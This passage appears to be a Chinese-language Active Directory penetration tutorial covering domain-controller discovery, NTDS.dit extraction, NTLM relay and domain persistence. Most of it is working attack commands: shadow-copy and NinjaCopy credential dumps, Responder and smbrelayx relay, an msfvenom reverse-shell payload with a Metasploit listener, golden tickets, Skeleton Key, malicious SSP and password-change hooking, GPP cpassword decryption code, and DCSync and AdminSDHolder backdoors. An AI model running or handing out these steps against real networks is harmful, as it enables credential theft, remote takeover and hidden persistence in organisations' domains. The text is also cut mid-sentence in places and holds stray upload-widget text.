CN=PC-TORNDO-KIT,CN=Computers,DC=rootkit,DC=org
HOST/PC-TORNDO-KIT
HOST/pc-torndo-Kit.rootkit.org
CN=sqladmin,OU=運維部,DC=rootkit,DC=org
variant/golden
Existing SPN found!
3.定位域控
查詢dns解析記錄
若當前主機的dns為域內dns,可通過查詢dns解析記錄定位域控。
nslookup -type=all _ldap._tcp.dc._msdcs.rootkit.org
SPN掃描
在SPN掃描結果中可以通過CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org來進行域控的定位。
net group
net group "domain controllers" /domain
端口識別
掃描內網中同時開放389和53端口的機器。
端口:389
服務:LDAP、ILS
説明:輕型目錄訪問協議和NetMeeting Internet Locator Server共用這一端口。
端口:53
服務:Domain Name Server(DNS)
説明:53端口為DNS(Domain Name Server,域名服務器)服務器所開放,主要用於域名解析,DNS服務在NT系統中使用的最為廣泛。通過DNS服務器可以實現域名與IP地址之間的轉換,只要記住域名就可以快速訪問網站。
域內關鍵組
比如在拿到域控後可以通過重點關注關鍵部門人員的機器來得到更多的信息。
以上圖為例,我們可以重點關注和監控運維部的用户機器,通常他們的機器上存在大量內網網絡拓撲和網絡構架信息或者是一些重要的密碼本。
AdFind
C++實現(未開源),用於查詢域內信息
http://www.joeware.net/freetools/tools/adfind/index.htm
常用命令如下:
列出域控制器名稱:
AdFind -sc dclist
查詢當前域中在線的計算機:
AdFind -sc computers_active
查詢當前域中在線的計算機(只顯示名稱和操作系統):
AdFind -sc computers_active name operatingSystem
查詢當前域中所有計算機:
AdFind -f "objectcategory=computer"
查詢當前域中所有計算機(只顯示名稱和操作系統):
AdFind -f "objectcategory=computer" name operatingSystem
查詢域內所有用户:
AdFind -users name
查詢所有GPO:
AdFind -sc gpodmp
0X06 域滲透-獲取NTDS.dit
1.Ntds.dit
Ntds.dit是主要的AD數據庫,包括有關域用户,組和組成員身份的信息。它還包括域中所有用户的密碼哈希值。為了進一步保護密碼哈希值,使用存儲在SYSTEM註冊表配置單元中的密鑰對這些哈希值進行加密。
2.Volume Shadow Copy
Volume Shadow Copy Service 是微軟從 Windows XP 開始提供的用於創建一致性的時間點副本(也就是快照)的服務框架。
- 用於數據備份
- 支持Windows Server 2003 及以上操作系統
- 系統默認在特定條件下自動創建數據備份,如補丁安裝後。在Win7系統大概每隔一週自動創建備份,該時間無法確定
- 禁用VSS會影響系統正常使用,如 System Restore和 Windows Server Backup
hash數量:所有用户
免殺:不需要
優點:
獲得信息全面
簡單高效
無需下載ntds.dit,隱蔽性高
3.通過Volume Shadow Copy獲得域控服務器NTDS.dit文件
調用Volume Shadow Copy服務會產生日誌文件,位於System下,Event ID為7036
執行ntdsutil snapshot "activate instance ntds" create quit quit會額外產生Event ID為98的日誌文件
ntdsutil
域環境默認安裝
支持系統:
- Server 2003
- Server 2008
- Server 2012
利用過程
- 查詢當前系統的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
- 創建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid為{78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}
- 掛載快照
ntdsutil snapshot "mount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit
快照掛載為C:\$SNAP_201908291617_VOLUMEC$\
- 複製ntds.dit
copy C:\$SNAP_201908291617_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
- 卸載快照
ntdsutil snapshot "unmount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit
- 刪除快照
ntdsutil snapshot "delete {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit
vssadmin
域環境默認安裝
支持系統:
- Server 2008
- Server 2012
利用過程
- 查詢當前系統的快照
vssadmin list shadows
- 創建快照
vssadmin create shadow /for=c:
獲得Shadow Copy Volume Name為\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
- 複製ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
- 刪除快照
vssadmin delete shadows /for=c: /quiet
vshadow.exe
系統默認不支持,,可在Microsoft Windows Software Development Kit (SDK)中獲得該工具
利用過程
- 查詢當前系統的快照
vshadow.exe -q
- 創建快照
vshadow.exe -p -nw C:
獲得SnapshotSetID、SnapshotID以及Shadow copy device name。
- 複製ntds.dit
copy Shadow copy device name\windows\NTDS\ntds.dit c:\ntds.dit
- 刪除快照
vshadow -dx={SnapshotSetID}
or
vshadow -ds={SnapshotID}
利用vshadow執行命令
參考資料:
Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction – bohops
執行命令:
vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
執行後,後台存在進程VSSVC.exe,同時顯示服務Volume Shadow Copy正在運行,需要手動關閉進程VSSVC.exe
注:
手動關閉進程VSSVC.exe會生成日誌7034
利用思路:
vshadow.exe包含微軟簽名,能繞過某些白名單的限制。如果作為啓動項,Autoruns的默認啓動列表不顯示
4.通過NinjaCopy獲得域控服務器NTDS.dit文件
下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
沒有調用Volume Shadow Copy服務,所以不會產生日誌文件7036
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"
QuarksPwDump
Quarks PwDump 是一款開放源代碼的Windows用户憑據提取工具,它可以抓取windows平台下多種類型的用户憑據,包括:本地帳户、域帳户、緩存的域帳户和Bitlocker。
修復複製出來的數據庫
esentutl /p /o ntds.dit
使用QuarksPwDump直接讀取信息並將結果導出至文件
QuarksPwDump.exe --dump-hash-domain --output 0day.org.txt --ntds-file c:\ntds.dit
secretsdump.py
可以用impacket 套件中的 secretsdump.py 腳本去解密,速度有點忙。也可以用mimikatz解密,但是感覺還是QuarksPwDump比較快。
# secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
# secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
正在上傳…重新上傳取消
0x07 域滲透-Relay
1.相關概念
NTLM hash 和 Net-NTLM hash
NTLM hash是指Windows系統下Security Account Manager中保存的用户密碼hash
該hash的生成方法:
- 將明文口令轉換成十六進制的格式
- 轉換成Unicode格式,即在每個字節之後添加0x00
- 對Unicode字符串作MD4加密,生成32位的十六進制數字串
在滲透測試中,通常可從Windows系統中的SAM文件和域控的NTDS.dit文件中獲得所有用户的hash,通過Mimikatz讀取lsass.exe進程能獲得已登錄用户的NTLM hash
Net-NTLM hash是指網絡環境下NTLM認證中的hash
NTLM認證採用質詢/應答(Challenge/Response)的消息交換模式,流程如下:
- 客户端向服務器發送一個請求,請求中包含明文的登錄用户名。服務器會提前存儲登錄用户名和對應的密碼hash
- 服務器接收到請求後,生成一個16位的隨機數(這個隨機數被稱為Challenge),明文發送回客户端。使用存儲的登錄用户密碼hash加密Challenge,獲得Challenge1
- 客户端接收到Challenge後,使用登錄用户的密碼hash對Challenge加密,獲得Challenge2(這個結果被稱為response),將response發送給服務器
- 服務器接收客户端加密後的response,比較Challenge1和response,如果相同,驗證成功
在以上流程中,登錄用户的密碼hash即NTLM hash,response中包含Net-NTLM hash
在NTLM認證中,NTLM響應分為NTLM v1,NTLMv2,NTLM session v2三種協議,不同協議使用不同格式的Challenge和加密算法
所以也就存在不同協議的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash
從攻擊角度來看
- 可以利用NTLM哈希值進行“哈希傳遞”攻擊
- 無法利用Net-NTLM哈希值來進行“哈希傳遞”攻擊
NTLM和SMB的關係
SMB的認證可以基於NTLM協議或者kerberos協議,前者使用了hash,後者使用了ticket,是構成SMB的PtH和PtT攻擊的基礎。 NTLM 並沒有定義它所依賴的傳輸層協議。NTLM 消息的傳輸完全依賴於使用 NTLM 的上層協議來決定,可以是SMB,也可以是TCP,亦或HTTP。
跨協議的 NTLM-Relay
前面説過,NTLM 的上層協議基本可以是任何協議(如果上層是基於UDP 的協議的話,可能會不一樣),所以這引出了跨協議的 NTLM-Relay 技巧。無論 NTLM 的上層協議是什麼,其攜帶的 NTLM 的三條消息都是
由 NTLM SSP 生成的,所以上層協議在 relay 的過程中,是可以被替換掉的。
比如從 http relay 至 smb,從 smb relay 至 ldap/mssql 等等。我們只需要將一個協議中的 NTLM 消息取出來,然後原樣不動的地放入另一個協議,就完成了上層協議轉換的過程。
SMB RELAY
mitm Attacker通過不停的轉換機器角色來同時欺騙Smb server和Client兩端,可以拿着Client的憑據去訪問Smb Server中的資源,如果這個憑據的用户權限在smb server中很大,大到可以隨意操作smb server,此時憑據再一旦認證成功,隨後再立即執行一段shellcode,那Smb server基本也就淪陷了。
2.利用條件
SMB版本信息
不同Windows版本所對應的Smb 版本,smb版本越高,內置的安全機制就越完善,利用難度也就越大,另外,它默認工作在tcp/udp的139和445端口上,屬上層協議[偏應用層]。
- Smb v1 主要用於xp/2003以下的系統中
- Smb v2.x 主要用於win vista/7/2008/2008r2
- Smb v3.x 主要用於win 8 / 8.1 / 2012 / 2012r2 /2016
利用條件
- 目標機器不能開啓smb簽名,否則利用無效,一般情況下,windows server會默認開啓,而windows單機系統[win 7/8/8.1/10]默認都不會開。
- 對一些打了ms08-068[KB957097]補丁的老系統[比如windows xp/2003以下的系統]利用也是無效的。
檢查是否開啓smb簽名
nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.0.106,192.168.0.108
3.利用方式
Inveigh
powershell編寫,可供參考的地址:
Import-Module .\Inveigh.psd1
Invoke-Inveigh -consoleoutput Y
再使用另外一個主機去連接該服務器。
原主機上就可以捕獲到net-ntlm v2 hash。
拿到net-ntlm v2 的hash以後,可以用hashcat進行爆破
Hashcat參數如下:
hashcat -m 5600 net-ntlm hash /tmp/password.list -o found.txt --force
若已獲取權限的主機上存在web服務,我們可以在網站裏插一個帶有unc路徑的圖片,它請求資源走的是smb[file://]。
<img src="\\192.168.3.68\test.jpg"
當有主機訪問該主頁是,我們也能在Inveigh捕獲到該主機的net-ntlm v2 hash。
smb_relay
在kali 192.168.22.128利用windows/smb/smb_relay模塊進行攻擊。
msf5 > use windows/smb/smb_relay
msf5 exploit(windows/smb/smb_relay) > set smbhost 192.168.22.162
smbhost => 192.168.22.162
msf5 exploit(windows/smb/smb_relay) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/smb_relay) > set lhost 192.168.22.128
lhost => 192.168.22.128
msf5 exploit(windows/smb/smb_relay) > set lport 2333
lport => 2333
msf5 exploit(windows/smb/smb_relay) > show options
Module options (exploit/windows/smb/smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE ADMIN$ yes The share to connect to
SMBHOST 192.168.22.162 no The target SMB server (leave empty for originating system)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 445 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.22.128 yes The listen address (an interface may be specified)
LPORT 2333 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
在192.168.22.130上執行
net use \\192.168.22.128\c$ /user:"administrator" "1qaz@wsx"
在kali上就可以看到回顯了
回顯裏會刪除exe文件,所以建議在配置時做好進程遷移
set AutoRunScript post/windows/manage/migrate
smbrelayx.py
在工具主機kali 192.168.22.128上執行
python smbrelayx.py -h 192.168.22.162
在內網主機192.168.22.130上執行
net use \\192.168.22.128\c$ /user:"administrator" "1qaz@wsx"
此時在主機kali 192.168.22.128上就能捕獲到如下內容。
當目標內網有機器192.168.22.130訪問到我們的惡意smb服務器192.168.22.128後,便會抓取對應機器的net-ntlm v2 hash,之後再通過smbrelayx.py腳本拿着這段抓到的hash去嘗試重放192.168.22.162這台目標機器。一旦重放成功,便會把162這台機器的本地用户及密碼hash全部解密導出來。
smbrelayx.py可以執行命令和上傳木馬文件。
python smbrelayx.py -h 192.168.22.162 -c whoami
結合msf上傳exe木馬。生成一個exe木馬。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.22.128 LPORT=4444 -e x86/shikata_ga_nai -f exe -o test.exe
啓用msfconsole中exploit/multi/handler
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.22.128
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.138.136:4444
執行
python smbrelayx.py -h 192.168.22.162 -e test.exe
Responder
自從MS08-068漏洞修復之後無法再將Net-NTLM哈希值傳回到發起請求的機器上,除非進行跨協議轉發,但是該哈希值仍然可以通過中繼轉發給另外一台機器。利用Responder結合其他中繼工具可以進行自動化的攔截並且對哈希值進行中繼轉發。唯一的一個不足之處就是,在這之前需要在進行轉發操作的機器上禁用SMB簽名。
在開啓了 SMB Signing 的情況下,在 SMB 協議利用 NTLM SSP 進行了身份驗證後,後續的所有數據包,都會利用 NTLM SSP 生成的這個 session key 進行簽名。SMB 服務端收到後續的數據包後,也會檢查數據包的簽名,如果簽名不對,則拒收。 NTLM SSP 在生成 session key 的時候,會需要用到賬號密碼的原始 LM HASH 或 NT HASH。而 relay 型的攻擊,都是站在一箇中間人的位置,我們是不可能知道原始的 LM HASH 或 NT HASH 的(如果知道了也就不需要 Relay 這種攻擊手法了)。所以,我們是無法計算出來這個 session key 的,自然也就無法對數據包進行簽名。
Responder通過設置幾個模擬的惡意守護進程(如SQL服務器,FTP,HTTP和SMB服務器等)來直接提示憑據或模擬質詢 – 響應驗證過程並捕獲客户端發送的必要 hash。
python Responder.py -I eth0 -v
對於SMB協議,客户端在連接服務端時,默認先使用本機的用户名和密碼hash嘗試登錄。所以在192.168.22.130上執行dir \\192.168.22.128\c$
在192.168.22.128上就可以得到NTLMv2 Hash。
responder只有一個回顯hash功能,可以結合ntlmrelayx.py和Empire框架進行進一步利用。再借助DeathStar,可以很輕易獲取windows的域管理權限。
3.NTLM-Relay
NTLM Relaying與Kerberos委派組合
實現方法
在目標計算機上創建一個新的計算機賬號B,併為本地計算機賬號A設置基於資源的約束委派給新建賬號B,使得B可以模擬用户訪問A的資源,便能通過S4U攻擊(首先使用S4U2Self獲取任意用户到新建計算機賬號B的服務票據,再使用S4U2Proxy獲取該用户到目標計算機A的服務票據),使用該計算機賬號為域內任意用户請求訪問該計算機任意服務的TGS服務票據,從而獲得該計算機的SYSTEM權限。
利用過程
使用mitm6選擇目標計算機並回復DHCPv6請求,為其分配地址,回覆WPAD配置文件地址
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
設置目標LDAP服務器地址並創建WPAD配置文件,使用“–delegate-access”為目標創建計算機賬號並配置基於資源的約束委派:
啓動ntlmrelayx,指定域控制器,委派攻擊,禁用SMB服務器並設置將生成並提供給目標的惡意WPAD文件的名稱。
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
當目標計算機重啓或重新進行網絡配置(如重新插入網線)時, 將會向DHCPv6發送請求獲取IPv6配置,我們已經使用mitm6接管DNS,此時目標計算機便會訪問kali獲取WPAD配置文件,並將kali設置為為代理服務器 。
然後當目標計算機通過kali代理服務器訪問網絡時,kali將會向目標計算機發送代理的認證請求,並中繼NTLM認證到LDAP服務器上,完成相關操作。
上圖中已經完成了計算機賬號的創建,併為其設置了基於資源的約束委派。接下來,便可通過impacket中的getST腳本,使用新創建的計算機賬號為域管理員(或具有本地管理員權限的域用户)請求訪問到該計算機的CIFS服務票據:
導入
export KRB5CCNAME=lkys.ccache
然後就可以通過psexec.py遠程執行命令了。
psexec.py -k ws02.lab.local -debug -no-pass
嘗試復現上述過程,搗鼓了一天失敗了。報的錯是:
[-] Connection against target ldaps://OWA2010SP3.0day.org FAILED: invalid server address
[-] Exception in HTTP request handler: invalid server address
[-] Exception in HTTP request handler: [Errno 104] Connecti
0x08 域滲透-域維權
1.黃金票據
簡介
Golden Ticket(下面稱為金票)是通過偽造的TGT(TicketGranting Ticket),因為只要有了高權限的TGT,那麼就可以發送給TGS換取任意服務的ST。可以説有了金票就有了域內的最高權限。
製作金票的條件:
1、域名稱
2、域的SID值
3、域的KRBTGT賬户密碼HASH
4、偽造用户名,可以是任意的
利用過程
金票的生成需要用到krbtgt的密碼HASH值,可以通過mimikatz中的
lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt
命令獲取krbtgt的值。
得到KRBTGT HASH之後使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即為偽造成功的TGT。
參數説明:
/admin:偽造的用户名
/domain:域名稱
/sid:SID值,注意是去掉最後一個-後面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票據名稱
kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi
通過mimikatz中的kerberos::ptt功能(Pass The Ticket)將golden.kiribi導入內存中。
kerberos::purge
kerberos::ppt golden.kiribi
kerberos::list
此時就可以通過dir成功訪問域控的共享文件夾。
dir \\OWA2010SP3.0day.org\c$
2.SSP密碼記錄
簡介
**SSP:**Security Support Provider,直譯為安全支持提供者,又名Security Package.
簡單的理解為SSP就是一個DLL,用來實現身份認證。
**SSPI:**Security Support Provider Interface,直譯為安全支持提供程序接口,是Windows系統在執行認證操作所使用的API。
簡單的理解為SSPI是SSP的API接口
**LSA:**Local Security Authority,用於身份認證,常見進程為lsass.exe
特別的地方在於LSA是可擴展的,在系統啓動的時候SSP會被加載到進程lsass.exe中.
這相當於我們可以自定義一個dll,在系統啓動的時候被加載到進程lsass.exe。
如圖,這是正常的SSPI結構圖,Client APP是我們自定義的dll,通過Secur32.dll可以調用 “credential capture API“來獲取LSA的信息
上圖展示了攻擊思路,既然可以自定義dll,那麼我們就可以定製dll的功能,通過Named Pipe和Shared Memory直接獲取lsass.exe中的明文密碼,並且能夠在其更改密碼時立即獲得新密碼。
mimilib SSP
mimikatz早已支持這個功能,而這個文件就是我們使用的時候常常忽略的mimilib.dll
利用過程
方法一
- 添加SSP 將mimilib.dll複製到域控
c:\windows\system32下 - 設置SSP 修改域控註冊表位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
3.重啓系統
域控重啓後在c:\windows\system32可看到新生成的文件kiwissp.log
方法二:使用API AddSecurityPackage
(1)複製文件
同方法1
(2)修改註冊表
同方法1
(3)調用AddSecurityPackage
測試代碼如下:
#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")
int main(int argc, char **argv) {
SECURITY_PACKAGE_OPTIONS option;
option.Size = sizeof(option);
option.Flags = 0;
option.Type = SECPKG_OPTIONS_TYPE_LSA;
option.SignatureSize = 0;
option.Signature = NULL;
SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option);
printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
}
添加成功,如果此時輸入了新的憑據(例如runas,或者用户鎖屏後重新登錄),將會生成文件kiwissp.log
方法3:使用RPC控制lsass加載SSP
測試如下圖
添加成功
優點:
- 不需要寫註冊表
- 不調用API AddSecurityPackage
- 不需要對lsass進程的內存進行寫操作
- lasss進程中不存在加載的dll
Memory Updating of SSPs
mimikatz同時還支持通過內存更新ssp,這樣就不需要重啓再獲取賬户信息
需要使用mimikatz.exe,命令如下:
privilege::debug
misc::memssp
通過修改lsass進程的內存,實現從lsass進程中提取憑據
命令執行後,如果此時輸入了新的憑據(例如runas,或者用户鎖屏後重新登錄),將會在c:\windows\system32下生成文件mimilsa.log
3.Skeleton Key
Skeleton Key是一種不需要域控重啓即能生效的維持域控權限方法。
簡介
Skeleton Key被安裝在64位的域控服務器上 支持Windows Server2003—Windows Server2012 R2 能夠讓所有域用户使用同一個萬能密碼進行登錄 現有的所有域用户使用原密碼仍能繼續登錄 重啓後失效 支持 Skeleton Key
利用過程
在域控安裝Skeleton Key
mimikatz命令:
privilege::debug
misc::skeleton
域內主機使用Skeleton Key登錄域控
mimikatz的默認Skeleton Key設置為mimikatz
net use \\OWA2010SP3.0day.org mimikatz /user:administrator@0day.org
dir \\OWA2010SP3.0day.org\c$
Skeleton Key只是給所有賬户添加了一個萬能密碼,無法修改賬户的權限
繞過LSA Protection
配置LSA Protection
註冊表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD值,名稱為RunAsPPL,數值為00000001
重啓系統
使用mimidrv.sys繞過
mimikatz命令:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
繞過cmd、regedit、taskmgr
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
Hook PasswordChangeNotify
簡介
Hook PasswordChangeNotify這個概念最早是在2013年9月15日由clymb3r提出,通過Hook PasswordChangeNotify攔截修改的帳户密碼。
需要了解的相關背景知識如下:
- 在修改域控密碼時會進行如下同步操作: a. 當修改域控密碼時,LSA首先調用PasswordFileter來判斷新密碼是否符合密碼複雜度要求
b. 如果符合,LSA接着調用PasswordChangeNotify在系統上同步更新密碼 - 函數PasswordChangeNotify存在於rassfm.dll
- rassfm.dll可理解為Remote Access Subauthentication dll,只存在於在Server系統下,xp、win7、win8等均不存在
Hook PasswordChangeNotify有如下優點:
- 不需要重啓
- 不需要修改註冊表
- 甚至不需要在系統放置dll
利用過程
實現Hook PasswordChangeNotify共包含兩部分:Hook dll和dll注入。
GitHub - 3gstudent/Hook-PasswordChangeNotify: Stealing passwords every time they change
編譯工程,生成HookPasswordChange.dll
MFC設置為在靜態庫中使用MFC
上傳HookPasswordChangeNotify.ps1和HookPasswordChange.dll到域控主機
管理員權限執行:
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1
手動修改域控密碼後 在C:\Windows\Temp下可以找到passwords.txt,其中記錄了新修改的密碼。
自定義dll代碼實現更多高級功能,如自動上傳新密碼。
以下鏈接中的代碼可作為參考,其中實現了將獲取的新密碼上傳至Http服務器
Stealing passwords every time they change Carnal0wnage - Blog Carnal0wnage Blog
4.DSRM同步指定域用户
DSRM密碼同步
Windows Server 2008 需要安裝KB961320補丁才支持DSRM密碼同步,Windows Server 2003不支持DSRM密碼同步。
利用如下命令:
C:\Users\Administrator>ntdsutil
ntdsutil: set DSRM password
Reset DSRM Administrator Password: SYNC FROM DOMAIN ACCOUNT test
Password has been synchronized successfully.
同步之後使用mimikatz查看test用户和SAM中Administrator的NTLM值。如下圖所示,可以看到兩個賬户的NTLM值相同,説明確實同步成功了。
privilege::debug
lsadump::lsa /name:test /inject
privilege::debug
token::elevate
lsadump::sam
修改註冊表允許DSRM賬户遠程訪問
修改註冊表 HKLM\System\CurrentControlSet\Control\Lsa 路徑下的 DSRMAdminLogonBehavior 的值為2。
PS:系統默認不存在DSRMAdminLogonBehavior,手動添加。
DSRM賬户是域控的本地管理員賬户,並非域的管理員帳户。所以DSRM密碼同步之後並不會影響域的管理員帳户。另外,在下一次進行DSRM密碼同步之前,NTLM的值一直有效。所以為了保證權限的持久化,尤其在跨國域或上百上千個域的大型內網中,最好在事件查看器的安全事件中篩選事件ID為4794的事件日誌,來判斷域管是否經常進行DSRM密碼同步操作。
5.SID history
SID歷史記錄是支持遷移方案的屬性。每個用户帳户都有一個關聯的安全標識符(SID),用於跟蹤安全主體和連接到資源時的帳户及訪問權限。SID歷史記錄允許另一個帳户的訪問被有效的克隆到另一個帳户。這是非常有用的,其目的是確保用户在從一個域移動(遷移)到另一個域時能保留原有的訪問權限。由於在創建新帳户時用户的SID會發生更改,舊的SID需要映射到新的帳户。當域A中的用户遷移到域B時,將在DomainB中創建新的用户帳户,並將DomainA用户的SID添加到DomainB的用户帳户的SID歷史記錄屬性中。這樣就可以確保DomainB用户仍可以訪問DomainA中的資源。
Mimikatz支持SID歷史注入到任何用户帳户(需要域管理員或等效的權限)。在這種情況下,攻擊者創建用户帳户“test”,並將該域的默認管理員帳户“Administrator”(RID 500)添加到帳户的SID歷史記錄屬性中。
privilege::debug
sid::add /new:[DomainAdmin's SID or NAME] /sam:[CommonUserNAME]
當test登錄時,將對與該帳户相關聯的SID進行評估,並根據這些SID來確定訪問權限。由於test帳户與Administrator帳户(RID 500)相關聯,因此,test帳户具有Administrator帳户的所有訪問權限,包括域管理員權限。
6.GPO[組策略]後門
利用SYSVOL還原組策略中保存的密碼
使用Group Policy Preferences配置組策略批量修改用户本地管理員密碼。
開始-管理工具-組策略管理
選擇域,創建GP0
設置名稱為test
test-設置-右鍵-編輯-用户配置-首選項-控制面板設置-本地用户和組
更新,administrator(內置),設置密碼
委派,設置權限
在詳細一欄,可看到該策略對應的ID為{05F24259-49D8-481A-8408-567DC3155838}
組策略配置完成,域內主機重新登錄,即可應用此策略
在對應的文件夾下能找到配置文件Groups.xml,具體路徑如下:
\\0day.org\SYSVOL\0day.org\Policies\{05F24259-49D8-481A-8408-567DC3155838}\User\Preferences\Groups
Groups.xml內容如下:
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (內置)" image="2" changed="2019-09-11 08:29:51" uid="{32DED100-2B0D-41CB-8341-F5FBCF77FE13}"><Properties action="U" newName="" fullName="" description="" cpassword="Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (內置)"/></User>
</Groups>
cpassword項,保存的是加密後的內容"Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw"
加密方式為AES 256,雖然目前AES 256很難被攻破,但是微軟選擇公開了該AES 256加密的私鑰,地址如下:
[MS-GPPREF]: Password Encryption | Microsoft Docs
藉助該私鑰,我們就能還原出明文
採用Chris Campbell @obscuresec開源的powershell腳本,地址如下:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
該腳本可在域內主機上執行,能夠自動查詢共享文件夾\SYSVOL中的文件。
也可以利用如下代碼進行解密
#!/usr/bin/python
import sys
from Crypto.Cipher import AES
from base64 import b64decode
if(len(sys.argv) != 2):
print "decrypt.py <cpassword>"
sys.exit(0)
key = """4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b""".decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
out = AES.new(key, AES.MODE_CBC, "\x00" * 16)
out = out.decrypt(password)
print out[:-ord(out[-1])].decode('utf16')
通過Group Policy Management Console (GPMC) 實現計劃任務的遠程執行
同上創建GPO,在計劃任務中添加。
第四個任務選項會在每次組策略刷新時執行。
四種計劃任務的區別可參考官方文檔:
Scheduled Tasks Extension | Microsoft Docs
對於域內的主機,可以等待90分鐘使組策略自動更新,也可以在客户端執行如下命令強制刷新組策略:
gpupdate /force
7.DCSync
利用DCSync導出域內所有用户hash的方法
利用條件:
獲得以下任一用户的權限:
- Administrators組內的用户
- Domain Admins組內的用户
- Enterprise Admins組內的用户
- 域控制器的計算機帳户
導出域內所有用户的hash:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:rootkit.org /all /csv" exit
8.利用DCSync在域內維持權限的方法
利用條件:
獲得以下任一用户的權限:
- Domain Admins組內的用户
- Enterprise Admins組內的用户
利用原理:
向域內的一個普通用户添加如下三條ACE(Access Control Entries):
- DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
該用户即可獲得利用DCSync導出域內所有用户hash的權限。
Windows系統中的ACL(Access Control List),用來表示用户(組)權限的列表。
利用方法:
利用PowerView.ps1,添加ACE的命令如下:
Add-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose
刪除ACE的命令:
Remove-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose
在域內一台登錄了sqladmin用户的主機上面,就能使用mimikatz的DCSync功能
mimikatz.exe privilege::debug "lsadump::dcsync /domain:0day.org /all /csv" exit
9.AdminSDHolder
AdminSDHolder是一個特殊的AD容器,具有一些默認安全權限,用作受保護的AD賬户和組的模板
Active Directory將採用AdminSDHolder對象的ACL並定期將其應用於所有受保護的AD賬户和組,以防止意外和無意的修改並確保對這些對象的訪問是安全的
如果能夠修改AdminSDHolder對象的ACL,那麼修改的權限將自動應用於所有受保護的AD賬户和組,這可以作為一個域環境權限維持的方法
向AdminSDHolder對象添加ACL
使用PowerView,添加用户dbadmin 的完全訪問權限
Add-ObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org" -PrincipalIdentity dbadmin -Verbose -Rights All
默認等待60分鐘以後,dbadmin獲得對所有受保護的AD賬户和組的完全訪問權限
可以通過修改註冊表的方式設置權限推送的間隔時間,註冊表位置如下:
